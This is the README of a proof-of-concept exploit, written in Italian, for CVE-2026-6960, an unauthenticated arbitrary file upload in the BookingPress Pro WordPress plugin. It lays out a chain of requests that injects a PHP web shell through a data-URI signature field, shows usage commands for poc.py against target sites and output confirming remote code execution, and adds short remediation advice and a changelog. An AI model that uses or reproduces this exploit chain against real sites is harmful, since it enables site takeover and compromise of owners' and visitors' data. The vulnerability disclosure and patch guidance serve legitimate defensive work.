
Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili.
Ricerca di: Atomic Edge Gravità: Critica | CVSS: 9.8 | Autenticazione richiesta: Nessuna
⚠️ v2 — Correzioni tecniche applicate in base al feedback della community. Vedi Registro delle modifiche per i dettagli.
Nel plugin WordPress BookingPress Pro (versioni ≤ 5.6) esiste una vulnerabilità critica di caricamento arbitrario di file non autenticato. Il gestore di invio delle prenotazioni bookingpress_book_appointment_booking elabora il valore di un campo personalizzato di tipo firma come data URI. Il plugin estrae l'estensione del file dalla porzione del tipo MIME dell'URI tramite regex e la passa direttamente a file_put_contents() — senza alcuna allowlist o blocklist delle estensioni. Ciò consente a un attaccante di scrivere una web shell PHP in una directory accessibile via web e ottenere Esecuzione Remota di Codice (RCE).
| Property | Detail |
|---|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Versioni interessate | ≤ 5.6 |
| Risolta in | 5.7 |
| Vettore | Rete / Non autenticato |
| Azione AJAX | bookingpress_book_appointment_booking |
| Causa principale | Estensione estratta dal tipo MIME controllato dall'attaccante nel data URI → file_put_contents() senza allowlist |
| CWE | CWE-434: Caricamento senza restrizioni di file con tipo pericoloso |
⚠️ Tutte le seguenti condizioni devono essere vere affinché il sito sia sfruttabile:
I siti che eseguono versioni ≤ 5.6 senza un campo personalizzato di firma configurato non sono sfruttabili tramite questo vettore.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Il percorso di codice vulnerabile elabora il valore del campo firma come un data URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress estrae {ext} dal tipo MIME tramite una corrispondenza regex, quindi scrive il contenuto decodificato su disco usando file_put_contents() con quell'estensione aggiunta al nome del file — nessun controllo tramite allowlist viene eseguito. Fornire image/php come tipo MIME comporta la scrittura di un file .php nella directory di upload.
Questo è fondamentalmente diverso da un upload di file multipart standard — il payload è incorporato in un campo del corpo JSON, non in una parte di upload di file.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
| Flag | Descrizione | Default |
|---|---|---|
-u, --url | URL WordPress di destinazione | (obbligatorio) |
-bp, --booking-page | Percorso della pagina contenente il modulo BookingPress | / |
-s, --service-id | ID del servizio BookingPress | 1 |
-f, --filename | Nome del file della shell (estensione iniettata nel MIME del data URI) | shell.php |
--no-verify | Disabilita la verifica del certificato SSL | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) prima di estrarre l'estensionewp_check_filetype_and_ext() per tutta la validazione dei tipi di file→ Aggiorna subito a BookingPress Pro 5.7.
| # | Problema | v1 (errato) | v2 (corretto) |
|---|---|---|---|
| 1 | Azione AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Metodo del payload | Upload di file multipart con image/png | Data URI: data:image/{ext};base64,... |
| 3 | Flusso di sfruttamento | POST diretto non autenticato | Catena di prerequisiti in 3 passaggi (nonce → transient → token) |
| 4 | Precondizione | Non documentata | Il campo personalizzato di firma deve essere configurato |